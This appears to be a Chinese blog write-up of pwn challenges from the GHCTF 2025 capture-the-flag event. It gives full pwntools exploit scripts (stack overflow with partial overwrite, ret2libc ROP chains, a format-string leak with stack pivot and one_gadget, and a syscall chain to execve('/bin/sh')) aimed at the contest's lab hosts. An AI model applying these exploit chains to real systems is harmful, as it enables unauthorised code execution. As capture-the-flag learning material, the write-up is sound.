GHCTF-2025_wp

Hello_world

给了后门函数,基本的栈溢出

有pie

partial write + 栈对齐
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import os
context(arch='amd64', os='linux', log_level='debug')
if os.environ.get("ZELLIJ") == "0":
    context.terminal = [
        "zellij",
        "action",
        "new-pane",
        "-d",
        "right",
        "-c",
        "--",
        "bash",
        "-c",
    ]

def main():
    offset = 0x20 + 8
    addr_backdoor = 0x09C2
    payload = b"A" * offset + p16(addr_backdoor)
    # p = process("./attachment")
    # p = gdb.debug("./attachment", "b *main")
    # node2.anna.nssctf.cn:28200
    p = remote("node2.anna.nssctf.cn", 28200)
    # pause()
    p.sendafter("Hello pwner!\n",payload)
    p.interactive()

if __name__ == "__main__":
    main()

ret2libc1

有点意思
buy my shop函数处有栈溢出
可以控制函数执行流程进行ret2libc


没有开启pie
需要考虑栈对齐
因为没有开启pie,所以可以利用ret gadgets栈对齐

做这题我刚开始蠢了,
64位通过寄存器传递参数,
我一开始tm的还用栈传递了参数
结果是

参数传递顺序
rdi rsi rdx rcx r8 r9
寻找gadgets:

使用LibcSearcher的话本地可以打通

本地可以打通

但是远程无法打通,可能是不能找到正确的libc版本
(ps: libcsearcher最多只有10个吗?)

然而用题目所给的libc可以打通远程,却无法打通本地
是因为本地默认用的是系统的libc,而非远程libc
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from LibcSearcher import *
import os
context(arch='amd64', os='linux', log_level='debug')
if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]

libc = ELF("./libc.so.6")
exe = ELF('./attachment')


def conn():
if args.LOCAL:
io = process([exe.path])
elif args.DEBUG:
io = gdb.debug([exe.path])
else:
io = remote("node2.anna.nssctf.cn", 28203)

return io

def preprocess():
io.sendlineafter("check youer money\n", "7")
io.sendlineafter("How much do you exchange?", "100")
io.sendlineafter("check youer money\n", "5")

def main():
offset = 0x40 + 8
puts_plt = exe.plt["puts"]
puts_got = exe.got["puts"]
main = exe.symbols["main"]
ret_addr = 0x0000000000400579
pop_rdi_ret = 0x0000000000400d73
print("puts_got: " + hex(puts_got))

payload1 = b'A' * offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)

global io
io = conn()


preprocess()

io.sendlineafter("You can name it!!!\n", payload1)
input = io.recvuntil('\x7f')
log.info(input)
print("\n")
puts_real_addr = u64(input[-6:].ljust(8,b'\x00'))
print("puts_real_addr: " )
log.info(hex(puts_real_addr))

# libc = LibcSearcher('puts', puts_real_addr)
libc_base = puts_real_addr - libc.symbols["puts"]
sys = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
# libc_base = puts_real_addr - libc.dump("puts")
# sys = libc_base + libc.dump("system")
# bin_sh = libc_base + libc.dump("str_bin_sh")

log.info('\n')
log.info('libc_base: ')
log.info(hex(libc_base))
log.info('\n')
log.info("sys: ")
log.info(hex(sys))
log.info('\n')
log.info("bin_sh: ")
log.info(hex(bin_sh))
log.info('\n')
payload2 = b'A' * offset + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys)

preprocess()
io.sendafter("You can name it!!!\n", payload2)


io.interactive()

if __name__ == "__main__":
main()



ret2libc2


没有pie、canary
查ubuntu版本

先完成patchelf

发现用ropper找不到想要的gadgets


学习:
flat([])函数
strip()函数
一步一步学ROP之linux_x64篇_找不到 pop rdi-CSDN博客
上面大佬文章写的很好



在libc中可以找到gadgets

然而 gadgets => libc基地址 => libc中的gadgets所以也没用
需要学习一些高级且细腻的操作

参考:
PWN入门之通用gadgets_gadgets pwn-CSDN博客


记录一下python版本

我的wsl中pip3和pip都指向python3.10这一个python版本

但可能安装了多个版本(如上4个

默认只能使用python3, 即 指向的是python3.10这个pip/pip3所对应的版本


我的pwntools解析不了DEBUG命令行参数问题:

TMD!直接换成别的参数名,如GDB就行了,我真是有点蠢了!(但是实测要大写!)
还以为是环境变量、vscode相关设置啥的,还折腾了半天环境变量、set,早知道先试下了
pwntools还是很强大的😭


期间的折腾:


期间学到一招
设置环境变量要在命令前面


在命令后面无效


leave指令:
mov rsp rbp
==pop rbp==
实际上
rbp = [rbp]
rsp = rbp + 8


做完下一题后又回来看一眼

还真是得从汇编中寻找gadgets呀
ret还是再传统的返回地址处


==注意!:
rsp里面存的是栈地址,并不是真正的栈内容!==


从上面看,
我们可以控制rax为栈顶地址
=> rdi为栈顶地址 => 栈顶地址对应我们想要的字符串地址
搞了半天,发现我们无法直接修改rdi为想要的字符串地址
最多只能修改rdi为==想要的字符串的地址的地址==

这个方向貌似不太行


我靠,哭了,
看了半天,以为字符串都是rodata
才发现是格式化字符串漏洞,程序逻辑还没看清就去找gadgets去了


覆盖栈内存后leave操作会破坏栈底
但是栈顶仍正常工作,分析后发现重点其实是rax

可结合这两块gadgets来使用

1
2
3
mov rdi,rax
mov eax,0
call _printf

开始使用
避免了栈底被破坏的问题

从打印format切换成了打印buf

实验1
0x7fffa5385960

0x7fffa53859a0

0x7fffa5385998

有个问题是leave操作后栈顶地址太高了
格式化字符串在它的更低地址处
无法打印格式化字符串

看一眼溢出和栈

发现是够的
printf()识别到\x00会停止输出

成功一半

call = push ip+1 ; jmp

一般来说代码段可读可执行
data段和bss段可读可写不可执行
如果可执行,可直接写入shellcode并当作代码段执行,(又有地址
如果不可执行,可以考虑==栈迁移==
有数据段的地址,把数据段当作栈,把指令地址写到栈上

本地有一次失败:

远程打通
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import os
context(arch='amd64', os='linux', log_level='debug')

if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]

libc = ELF("./libc.so.6")
exe = ELF('./ret2libc2')

def conn():
if args.LOCAL:
io = process([exe.path])
if args.GDB:
gdb.attach(io)
elif args.GDB:
io = gdb.debug([exe.path], "b *main")
else:
# node2.anna.nssctf.cn:28348
io = remote("node2.anna.nssctf.cn", 28348)


return io

def main():
global io
io = conn()
offset = 0x30 + 8
offset1 = 0x20
offset2 = 2 + 8
puts_plt = exe.plt["puts"]
puts_got = exe.got["puts"]
main = exe.symbols["main"]
# mov_rdi_rax = 0x00000000004011F0
print("puts_got: " , hex(puts_got))
call_puts = 0x40124A
call_printf = 0x401227
addr_ret = 0x40101a
addr_bss_rbp = 0x404090
# payload = b"AAAA%p%p" + b"%p" * 0x17 + b'BB' + p64(call_printf)

payload = b'%6$s%p%p' + b'%p%p' + b'%pAA' + b'A' * 0x20 + p64(addr_bss_rbp) + p64(call_printf) + p64(puts_got)
io.recvuntil("show your magic\n")
io.sendline(payload)
input = io.recvuntil('\x7f')
log.info(input)
puts_real_addr = u64(input[-6:].ljust(8,b'\x00'))

log.info(puts_real_addr)
log.info(hex(puts_real_addr))

one_gadget = 0xebc81
libc_base = puts_real_addr - libc.symbols["puts"]
one_real_gadget = libc_base + one_gadget
log.info(hex(libc_base))
log.info(hex(one_real_gadget))

# 栈迁移 -0x30
offset = 0x30
addr_null = 0x404090+0x40
payload = b'\x00' * offset + p64(addr_null) +p64(one_real_gadget)

io.sendlineafter("show your magic\n", payload)

# 重新进入main
# 建立新栈帧
# payload = b'A' * offset + p64(one_real_gadget)
# io.sendlineafter("show your magic\n", payload)

# system_addr = libc_base + libc.symbols["system"]
# bin_sh = libc_base + next(libc.search(b"/bin/sh"))
# io.sendlineafter("show your magic\n", payload)
# input = io.recvuntil("4242")
# print(input)
io.interactive()

if __name__ == "__main__":
main()


真会布置栈吗?


64位小端
无canary
无pie
无NX

1
ssize_t sys_write(unsigned int fd, const char __user *buf, size_t count);

内核函数,将数据从缓冲区写入到文件描述符

1
ssize_t sys_read(unsigned int fd, char __user *buf, size_t count);

系统调用,将数据从文件描述符读入缓冲区

发现了一个伟大的gadgets

可以控制寄存器rdi、rsi、==r13==的值和程序的执行流程
可以将rdx清零控制程序的执行流程

syscall指令用于==触发系统调用==
syscall指令及其参数

在x86_64架构中,
syscall指令相关的寄存器:

  • rax 系统调用号
  • rdirsirdxr10r8r9:参数传递
  • rcx:返回地址
  • r11:标志寄存器
1
2
3
4
5
xor rax,rax    ; 设置rax为0,sys_read
xor rdi,rdi ; 设置rdi为0, fd 文件描述符
mov rsi,rsp ; buf
mov edx,539
syscall ; 可见这里是调用了sys_read

execve系统调用号为59
想要 syscall => execve(‘/bin/sh’)
则syscall需要:

  • rax:设置为59,表示execve
  • rdi:设置为/bin/sh的地址
  • rsi:参数列表的地址,可以设置为0
  • rdx:一般设置为0,表示环境变量为NULL

根据上面的gadgets,
我们可以控制rsi、rdi的值
且有syscall指令的地址

接下来的重点是控制rax的值

交换==r13==和rax的值,并跳转到rsp存的地址继续执行

这样就同时控制了rax,rdi,rsi,(rdx先不管()

函数结束后跳到栈顶中地址,而非一般返回地址

这题还有一个点:
没有调用libc库函数!
无法泄漏libc

那就要改写一下内存中的数据了
这题没有main函数,都在_start函数里面

还有重量级信息:

该程序是静态链接
静态链接的程序,无法使用ret2libc来做!

测试1

测试2

每次栈的地址都是不同的

[!faq] 栈的地址是如何分配的?
受什么影响?

在gdb中栈地址是固定的


需要修改data段
sys_read:
rax:0
rdi:0
rsi: addr_data
rdx: >=8


本题有一个需要辨析的关键区别:
jmp [rsp]和ret的区别 !!
jmp [rsp]仅仅是指令跳转 对栈没有操作
而ret有
ret操作必须是栈顶,是跳到栈顶处的地址,不断ret,栈顶元素会不断出栈,是动态的
而jmp则不是,jmp是静态的

ret == jmp [rsp] + pop == pop rip
jmp [rsp] == rip = [rsp]



即将jmp到ret
栈顶是ret
刚jmp到ret:

栈顶仍是ret

ret1次:
。。。

上面没管rdx,实际上rdx保留(0x539)
,足够大满足要求

成功拿到系统调用
并成功在.data段写入



没有拿到shell
原因是envp未清零
需要清零
=> 需要将rdx清零




清零后:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import os
context(arch='amd64', os='linux', log_level='debug')

if os.environ.get('ZELLIJ') == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]

exe = ELF('./attachment')

def conn():
if args.LOCAL:
# io = process("./attachment")
io = process([exe.path])
elif args.GDB:
# io = gdb.debug("./attachment", "b *start")
io = gdb.debug([exe.path])
else:
# node2.anna.nssctf.cn:28379
io = remote("node2.anna.nssctf.cn", 28266)
return io

def main():
global io
io = conn()
pop_5 = 0x401017 # rsi rdi rbx r13 r15
xchg_rax_r13 = 0x40100C
addr_syscall = 0x401077
# addr_bin_sh = 0x7fffffffd7a0
ret = 0x401013
addr_data = 0x402000
xor_rdx_rdx = 0x401021
# payload = p64(pop_5) + p64(ret) + p64(0) + p64(addr_bin_sh) + p64(0) + p64(59) + p64(xchg_rax_r13) + p64(addr_syscall) + b'/bin/sh\x00'
payload = p64(ret) + p64(pop_5) + p64(addr_data) + p64(0) + p64(0xdeadbeef) + p64(0) + p64(ret) + p64(xchg_rax_r13) + p64(ret) + p64(addr_syscall)
payload += p64(ret) + p64(pop_5) + p64(0) + p64(addr_data) + p64(0xdeadbeef) + p64(59) + p64(ret) + p64(xchg_rax_r13) + p64(ret) + p64(xor_rdx_rdx) + p64(addr_syscall)



# pause()
io.sendline(payload)

# pause()
io.sendline(b'/bin/sh\x00')
io.interactive()

if __name__ == "__main__":
main()

my_vm

VMpwn总结 - CH13hh - 博客园

scanf()占位符
%hd short型:2字节

getchar() 从标准输入读取单个字符

[!tip] getchar()的作用
scanf的行为:
不会处理输入缓冲区的换行符或空白符,
这些字符会残留在缓冲区中,
而使用getchar()可用来清理换行符\n(残留字符)


有canary、无pie

这题需要清晰地逆向
memory :在bss段定义的一大段内存,每个单位4字节

int reg[10] 也是一段bss内存空间 代表寄存器


GHCTF-2025_wp
http://example.com/2025/03/03/GHCTF-2025-wp/
作者
yvyvSunlight
发布于
2025年3月3日
许可协议